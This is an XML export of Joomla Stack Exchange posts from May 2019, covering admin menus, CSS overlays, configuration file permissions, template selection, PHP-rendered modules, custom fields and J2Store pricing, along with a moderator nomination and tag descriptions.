  <row Id="24581" PostTypeId="1" AcceptedAnswerId="24584" CreationDate="2019-05-09T08:55:28.733" Score="1" ViewCount="267" Body="&lt;p&gt;I'm actually trying to get two administration level for my Joomla Website.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The first is the standard Super User with the standard admin menu&lt;/li&gt;&#xA;&lt;li&gt;The second is a &quot;Communication Admin&quot; with only some items in its admin menu.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That's exactly what I want but, when I'm logging with the &quot;Communication&quot; account, I've a notification on all page saying &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Warning&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The administrator menu Communication does not have - Menu Manager, Module&#xA;  Manager. Select to turn on the menu recovery mode.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there a possibility to disable this annoying popup for a user groups or for everyone as well&lt;/p&gt;&#xA;" OwnerUserId="13528" LastActivityDate="2019-05-10T08:50:59.387" Title="Disabling Menu Recovery Mode for user groups" Tags="|joomla-3.x|administrator|menu|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24583" PostTypeId="2" ParentId="24575" CreationDate="2019-05-09T19:57:36.970" Score="0" Body="&lt;p&gt;Ok.. I've changed it from a global variable back to the actual function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document.body).on(&quot;change&quot;, 'select.bowler', function(e) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document.body).unbind().on(&quot;change&quot;, 'select.bowler', function(e) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it appears to be working... &lt;/p&gt;&#xA;" OwnerUserId="3594" LastEditorUserId="12352" LastEditDate="2019-05-10T09:16:17.750" LastActivityDate="2019-05-10T09:16:17.750" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24584" PostTypeId="2" ParentId="24581" CreationDate="2019-05-10T08:50:59.387" Score="3" Body="&lt;p&gt;Thanks to @Irata, I found a option in :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Menus (Column Linked Module) &gt; Your module Name &gt; Check Menu&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And set this option to &quot;No&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this help someone else&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vBGO0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vBGO0.png&quot; alt=&quot;Check Menu Optio&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source : &lt;a href=&quot;https://www.joomlashack.com/blog/tutorials/new-admin-menus/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlashack.com/blog/tutorials/new-admin-menus/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13528" LastActivityDate="2019-05-10T08:50:59.387" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24585" PostTypeId="1" AcceptedAnswerId="24822" CreationDate="2019-05-10T12:01:15.387" Score="1" ViewCount="480" Body="&lt;p&gt;I am trying to create a rollover effect as can be seen &lt;a href=&quot;https://www.mobas.com/expertise&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; but am struggling as to the best way to do it. The client has requested that the site be built using SP Page builder as they want to maintain and update it themselves which is causing some issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The block I am looking to have this effect on can be seen &lt;a href=&quot;https://precision.sitewidehosting.co.uk/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; but I am struggling with the correct effects that will create this.  I have added a css class called rollbox to the first 'Data' box but the effect seems to be occurring underneath rather than on top.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** Pod box effect on mouseover **/&#xA;.rollbox a{&#xA;    display:inline-block;&#xA;    position:relative;&#xA;}&#xA;.rollbox a&amp;gt;span{&#xA;    position:relative;&#xA;}&#xA;&#xA;.rollbox::before{&#xA;    content:'';&#xA;    background:rgba(0,0,0,0.8);&#xA;    position:absolute;&#xA;    left:0;&#xA;    top:0;&#xA;    height:100%;&#xA;    width:0%;&#xA;    -webkit-transition:width .3s ease-out;&#xA;}&#xA;.rollbox:hover::before{&#xA;    width:100%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any pointers would be most appreciated. Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2019-06-13T19:03:31.737" Title="Create an image overlay on rollover in SP Page Builder" Tags="|joomla-3.x|css|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24586" PostTypeId="1" CreationDate="2019-05-11T21:31:23.797" Score="0" ViewCount="1161" Body="&lt;p&gt;My Joomla is 3.9.4. When I tried to make some global configuration change in the backend, I got this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Could not write to the configuration file.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I looked at the file system, configuration.php has the right owner and is set to &lt;code&gt;0644&lt;/code&gt;, and I can make changes to it via FTP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then tried setting the permission to &lt;code&gt;0777&lt;/code&gt;, it is writable; then I tried &lt;code&gt;0666&lt;/code&gt; and &lt;code&gt;0664&lt;/code&gt; and it is also good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only when I set it to &lt;code&gt;0644&lt;/code&gt; do I get the above error. I've never encountered this kind of problem before. I suspect it is something wrong with my server(I host the website on a VPS on linode), but I couldn't figure out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could possibly be wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;I found some more clues. This website was duplicated from another server where the website ran well. When I look both site's FPA, I found that on the problematic server, the permission section is like&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KfPU0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KfPU0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While on the other server, it is&#xA;&lt;a href=&quot;https://i.stack.imgur.com/8dStW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8dStW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand how come one is writable whereas the other is not while both permissions are 0755.&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="5680" LastEditDate="2019-05-11T22:26:40.747" LastActivityDate="2020-06-05T03:03:10.273" Title="configuration.php unwritable when permission is 0644 but writable when 0664" Tags="|joomla-3.x|configuration|file-permissions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24587" PostTypeId="2" ParentId="24586" CreationDate="2019-05-12T01:43:44.860" Score="1" Body="&lt;p&gt;The answer is here, need to set php running mode to FastCGI: &lt;a href=&quot;https://docs.joomla.org/Why_can%27t_you_install_any_extensions%3F#File_ownership_advice_from_ianmac&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Why_can%27t_you_install_any_extensions%3F#File_ownership_advice_from_ianmac&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2019-05-12T01:43:44.860" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24588" PostTypeId="1" CreationDate="2019-05-12T04:48:46.253" Score="2" ViewCount="90" Body="&lt;p&gt;Let's say I already have a menu_item_A set as a &quot;category blog&quot; page of category myblog, and the template associated with it is templateA. When I go to this page and click one of the articles, if there is no menu item directly associated with this article, then the article content page will adopt its category blog page's template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if I create another menu item menu_item_B, and set it as &quot;category blog&quot; of myblog too, but the template is now templateB. What template will the article page use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I test this on my website, no matter what you click the article on pageA or pageB, the article content page will allways adopt templateA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: How can you let the article content page use &lt;code&gt;templateB&lt;/code&gt; without setting a single article menu item for that particular article?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware of extensions like Module Anywhere, but I kind of want to solve it with native Joomla. &lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="12352" LastEditDate="2019-05-12T13:15:28.010" LastActivityDate="2019-05-14T07:37:58.230" Title="How to have article page use a template other than the one of its category?" Tags="|menu|seo|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24589" PostTypeId="1" CreationDate="2019-05-12T05:12:13.840" Score="2" ViewCount="88" Body="&lt;p&gt;I'm trying to add a note to user when trying to install an extension / module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I want to add note before user continuing the module installation process when an older version found, and they can continue the installation process by clicking a button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do that with &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow noreferrer&quot;&gt;preflight function&lt;/a&gt;? If it's possible how can I do that?&lt;/p&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="2295" LastEditDate="2019-05-12T05:17:48.677" LastActivityDate="2019-05-15T10:30:47.973" Title="Can I interrupt installation process with preflight function?" Tags="|joomla-3.x|jinstaller|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24590" PostTypeId="1" CreationDate="2019-05-12T07:48:52.473" Score="2" ViewCount="879" Body="&lt;p&gt;I want to create a module and add it to an article&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can already create the module manually and can add it to the article using php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't figure out how to add a module using php.  So if I have already installed mod_test  how do i create an instance of it to use in the article without going manually to the admin-&gt;module manager and adding it?&lt;/p&gt;&#xA;" OwnerUserId="12248" LastEditorUserId="126" LastEditDate="2019-05-13T18:36:55.127" LastActivityDate="2019-05-13T18:36:55.127" Title="Generate and render a module on an article with PHP" Tags="|joomla-3.x|php|module|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24591" PostTypeId="2" ParentId="24588" CreationDate="2019-05-13T11:31:10.833" Score="3" Body="&lt;p&gt;Last time I need to get different style depending of the component without using menu, I've used a trick using the Jinput variable&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$jinput-&amp;gt;get('option'); //Return the component you're viewing&#xA;$jinput-&amp;gt;get('view'); //Return the component &quot;view&quot; you're viewing&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In you're template files you can do an if/else statement on these variable to catch if you're on a article page or a category page and then display the correct wanted display.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($jinput-&amp;gt;get('option') == 'com_content' &amp;amp;&amp;amp; $jinput-&amp;gt;get('view') == 'article')  {&#xA;   //display the article template&#xA;}&#xA;else{&#xA;   //display the category template&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope it helps !&lt;/p&gt;&#xA;" OwnerUserId="13528" LastActivityDate="2019-05-13T11:31:10.833" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24593" PostTypeId="2" ParentId="24585" CreationDate="2019-05-13T17:31:08.910" Score="1" Body="&lt;p&gt;For the current mark-up and with the CSS you have in place, add this extra CSS and you will get closer to the effect that you want.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.sppb-text-center {&#xA;    position: relative;&#xA;    overflow: hidden;&#xA;}&#xA;.rollbox:hover::before {&#xA;    width: 100%;&#xA;    z-index: 99999;&#xA;    display: block;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A few notes for this kind of questions:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;This is not a Joomla question.&lt;/li&gt;&#xA;  &lt;li&gt;This is very specific and more like I need someone to do the work for me.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="126" LastActivityDate="2019-05-13T17:31:08.910" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24594" PostTypeId="1" AcceptedAnswerId="24598" CreationDate="2019-05-13T18:25:53.543" Score="2" ViewCount="63" Body="&lt;p&gt;I've created a custom field for my plugin and it's working great, but if I want to use the same field within my &lt;code&gt;templateDetails.xml&lt;/code&gt; I get an almost blank page in the template style edit page. I should probably mention that my &lt;code&gt;getInput()&lt;/code&gt; method loads no layout, it simply returns an &lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt; with a bunch of attributes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my templateDetails.xml part&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&quot;advanced&quot; label=&quot;Some FIELDSET NAME&quot; &#xA;    addfieldpath=&quot;/plugins/editors-xtd/myPlugin/models/fields&quot;&amp;gt;&#xA;&#xA;    &amp;lt;field &#xA;        name=&quot;myFieldName&quot;&#xA;        type=&quot;myFieldType&quot;&#xA;        label=&quot;SOME LABEL&quot;&#xA;        hint=&quot;Some hint&quot;&#xA;        description=&quot;&quot;&#xA;        class=&quot;&quot;&#xA;        format=&quot;HTML&quot;&#xA;        default=&quot;&quot;&#xA;    /&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The console says: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Failed to load resource: the server responded with a status of 500 (Internal Server Error)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The page title says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error: 0 Call to undefined function random()&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there something wrong here or am I missing something with my field?&lt;/p&gt;&#xA;" OwnerUserId="13509" LastEditorUserId="12352" LastEditDate="2019-05-13T19:51:15.660" LastActivityDate="2019-05-14T10:45:27.117" Title="Use a plugin defined field inside template" Tags="|custom-field|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24595" PostTypeId="2" ParentId="24590" CreationDate="2019-05-13T18:33:52.843" Score="5" Body="&lt;p&gt;A bit confusing your questions as is, especially when you say you can add it to the article using php, but then that you can't figure out how to add it... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I am getting you right, you want to place some php on the article's template file that will be generating a new custom instance of an installed module and will be displayed without having this module in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is an example of doing this. In my example I am using the mod_custom (custom html module). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can place this in the article's template, but make sure you have create a template override for your template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;$module = JModuleHelper::getModule('mod_custom', 'Custom PHP Generated Instance'); // Use a such module title, so you won't load an existing module from the database.&#xA;$module-&amp;gt;style = &quot;System-html5&quot;;&#xA;$module-&amp;gt;title = &quot;PHP Generated Module&quot;;&#xA;$module-&amp;gt;showtitle = &quot;1&quot;;&#xA;$module-&amp;gt;content = &quot;This is the content of the PHP generated instance of mod_custom&quot;;&#xA;&#xA;// Module Params&#xA;$moduleParams = new JRegistry($module-&amp;gt;params);&#xA;$moduleParams-&amp;gt;set('style', &quot;System-html5&quot;);&#xA;&#xA;// Debug the module&#xA;// echo '&amp;lt;pre&amp;gt;';&#xA;// var_dump($module);&#xA;// echo '&amp;lt;hr/&amp;gt;';&#xA;// var_dump($moduleParams);&#xA;// echo '&amp;lt;/pre&amp;gt;';&#xA;&#xA;//Render the module&#xA;$renderer = $doc-&amp;gt;loadRenderer('module');&#xA;$moduleContent = $renderer-&amp;gt;render($module, array('params'=&amp;gt; $moduleParams));    &#xA;echo $moduleContent;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Play and experiment with the above code and adjust it to your specific needs and according to the params of your module.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2019-05-13T18:33:52.843" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24596" PostTypeId="2" ParentId="24588" CreationDate="2019-05-13T18:57:36.527" Score="1" Body="&lt;p&gt;I can't think of any good reasons to create 2 menu items for the exact same database content. So I would advise you to drop the idea of having 2 menu items for the same category of articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding why your articles of that category always end-up loading the parameters set for the first created menu item read here: &lt;a href=&quot;https://joomla.stackexchange.com/questions/8764/why-does-category-view-use-home-page-itemid-when-displaying-the-articles&quot;&gt;Why does Category View use Home Page Itemid when displaying the articles?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*I also don't think extensions like Modules Anywhere are of any help here.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2019-05-13T18:57:36.527" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24597" PostTypeId="2" ParentId="24588" CreationDate="2019-05-14T07:37:58.230" Score="1" Body="&lt;p&gt;You're getting this behavior because articles resolve to the first menu item with their category. That said, all you need to do is reverse the menu item order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;menu_item_A&lt;/code&gt; should use &lt;code&gt;templateB&lt;/code&gt; and &lt;code&gt;menu_item_B&lt;/code&gt; should use &lt;code&gt;templateA&lt;/code&gt;. Articles will resolve to &lt;code&gt;menu_item_A&lt;/code&gt; (even if accessed through &lt;code&gt;menu_item_B&lt;/code&gt;) and therefore use &lt;code&gt;templateB&lt;/code&gt;. Meanwhile you can still view the category page with &lt;code&gt;templateA&lt;/code&gt; by entering it through &lt;code&gt;menu_item_B&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-05-14T07:37:58.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24598" PostTypeId="2" ParentId="24594" CreationDate="2019-05-14T08:31:28.577" Score="0" Body="&lt;p&gt;Found the problem, I want to always use an ID for my fields to make sure they are unique for JavaScript initialization, so I misspelled &lt;code&gt;rand()&lt;/code&gt; for &lt;code&gt;random()&lt;/code&gt;, so while all my custom field instances were using an ID in the &lt;code&gt;templateDetails.xml&lt;/code&gt; file, I couldn't figure out what's going on.&lt;/p&gt;&#xA;" OwnerUserId="13509" LastEditorUserId="13509" LastEditDate="2019-05-14T10:45:27.117" LastActivityDate="2019-05-14T10:45:27.117" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24599" PostTypeId="6" CreationDate="2019-05-14T12:01:56.293" Score="0" Body="&lt;p&gt;Hi,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm Harald and life in Austria. I'm a Joomla longtime contributer and JSE Moderator since the beginning. I'm also Joomla Production Department Coordinator and release lead for Joomla! 3.9.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Stack Exchange moderator you need some time and overall knowledge. The main tasks are solving reported questions by closing or commenting on them. I have both qualifications and I'm ready to serve another period in the Joomla! Stack Exchange community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Harald&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2019-05-14T12:01:56.293" LastActivityDate="2019-05-14T12:01:56.293" CommentCount="9" CommunityOwnedDate="2019-05-14T12:01:56.293" ContentLicense="CC BY-SA 4.0" />
  <row Id="24600" PostTypeId="1" AcceptedAnswerId="24601" CreationDate="2019-05-14T15:50:31.493" Score="2" ViewCount="581" Body="&lt;p&gt;I have created some custom fields in user profile from backend&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;templates/name-template/html/com_content/article/default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and use this code for load custom fields at joomla article&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$context = 'com_content.article';&#xA;$article = $this-&amp;gt;item;&#xA;&#xA;//use the field helper class to get the fields&#xA;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;$fields = FieldsHelper::getFields($context, $article, true);&#xA;// Added so as to access fields by their name&#xA;&#xA;// GET CUSTOM FIELDS&#xA;foreach($fields as $field) {&#xA;    $fields[$field-&amp;gt;name] = $field;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and use this code for fetch&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo ($fields['name-field']-&amp;gt;value); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i creat textarea fileds at user profile for write about me (author)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Ay90c.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ay90c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;now I want to fetch users custom fields (author) in joomla article&#xA;How can i do it ؟&lt;/p&gt;&#xA;" OwnerUserId="9530" LastActivityDate="2019-05-14T16:32:12.087" Title="fetch user custom fields in article" Tags="|joomla-3.x|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24601" PostTypeId="2" ParentId="24600" CreationDate="2019-05-14T16:32:12.087" Score="2" Body="&lt;p&gt;Change context to &lt;code&gt;com_users.user&lt;/code&gt; and the item to article author's user object. Since some articles may not have an author, this code should be wrapped in author check:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Only run if article has an author.&#xA;if ($this-&amp;gt;item-&amp;gt;created_by)&#xA;{&#xA;    // Get author's custom fields.&#xA;    $fields = FieldsHelper::getFields('com_users.user', JFactory::getUser($this-&amp;gt;item-&amp;gt;created_by), true);&#xA;&#xA;    // Display fields here.&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-05-14T16:32:12.087" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24602" PostTypeId="1" CreationDate="2019-05-15T03:34:45.877" Score="1" ViewCount="206" Body="&lt;p&gt;I'm trying to add J2Store item price to the (my modified) built-in joomla mod_articles_latest. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm able to get a 'complete' Add to Cart block with this code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(JPATH_ADMINISTRATOR.'/components/com_j2store/helpers/j2store.php');&#xA;$product = F0FTable::getAnInstance('Product', 'J2StoreTable')-&amp;gt;getClone();&#xA;            if($product-&amp;gt;get_product_by_source('com_content', $item-&amp;gt;id)) {&#xA;            echo $product-&amp;gt;get_product_html();&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how can I get any of elements on that block partially? For example, how can I get the price only or add to cart button only?&lt;/p&gt;&#xA;" OwnerUserId="2295" LastEditorUserId="2295" LastEditDate="2019-05-15T03:49:04.177" LastActivityDate="2019-05-15T06:48:50.943" Title="How to get J2Store item price" Tags="|j2store|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24603" PostTypeId="1" CreationDate="2019-05-15T04:24:17.843" Score="0" ViewCount="193" Body="&lt;p&gt;&lt;strong&gt;Case 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to add field path into &lt;code&gt;templateDetails.xml&lt;/code&gt; without specifying a templateName. The following code works&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&quot;name&quot; label=&quot;label&quot; addfieldpath=&quot;/templates/templateName/fields&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I wonder if it's possible to do something like this&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&quot;name&quot; label=&quot;label&quot; addfieldpath=&quot;__DIR__/fields&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Case 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the field in question is loading it's own JavaScript file via&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('script', '/templates/templateName/js/field.js' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;works fine, but giving it absolute path doesn't work&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('script', dirname(dirname(__FILE__)).'/js/fieldName.js' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know &lt;code&gt;JHtml::script&lt;/code&gt; is deprecated in Joomla 4, but is still not working for me for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any hint/suggestion.&lt;/p&gt;&#xA;" OwnerUserId="13509" LastActivityDate="2019-05-15T04:24:17.843" Title="Adding field path and script into form relative to template path" Tags="|joomla-3.x|custom-field|external-script|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24605" PostTypeId="2" ParentId="24602" CreationDate="2019-05-15T06:48:50.943" Score="1" Body="&lt;p&gt;There are methods for this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Show price.&#xA;echo $product-&amp;gt;get_product_price_html();&#xA;&#xA;// Show cart button.&#xA;echo $product-&amp;gt;get_product_cart_html();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-05-15T06:48:50.943" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24606" PostTypeId="5" CreationDate="2019-05-15T08:31:19.423" Score="0" Body="&lt;p&gt;&lt;code&gt;JImage&lt;/code&gt; which has 8 filter sub-classes that it can use to apply a desired filter to your image. Image depends on the GD php extension to be loaded on your server. More information on GD can be found at: &lt;a href=&quot;https://www.php.net/manual/en/book.image.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.php.net/manual/en/book.image.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-05-15T08:31:19.423" LastActivityDate="2019-05-15T08:31:19.423" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24607" PostTypeId="4" CreationDate="2019-05-15T08:31:19.423" Score="0" Body="JImage is a Joomla class that's used to apply filtering to images, using the GD library." OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-05-15T08:31:19.423" LastActivityDate="2019-05-15T08:31:19.423" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24608" PostTypeId="5" CreationDate="2019-05-15T08:32:34.280" Score="0" Body="&lt;p&gt;Open Source Matters (OSM) is a not-for-profit organisation, incorporated in the United States, created to serve the financial and legal interests of the Joomla project. OSM has been designed to be flexible and change as the needs of Joomla! expand. At all times, OSM is fashioned to suit the needs of the Joomla project. OSM will also engage in regular self-assessment to ensure it is accountable to Joomla!, acting in Joomla!'s interest and ensuring that it is the right shape and size to support Joomla!.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-05-15T08:32:34.280" LastActivityDate="2019-05-15T08:32:34.280" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24609" PostTypeId="4" CreationDate="2019-05-15T08:32:34.280" Score="0" Body="Open Source Matters. The non-profit organisation supporting the Joomla! project." OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-05-15T08:32:34.280" LastActivityDate="2019-05-15T08:32:34.280" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24610" PostTypeId="5" CreationDate="2019-05-15T08:34:29.957" Score="0" Body="" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-05-15T08:34:29.957" LastActivityDate="2019-05-15T08:34:29.957" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
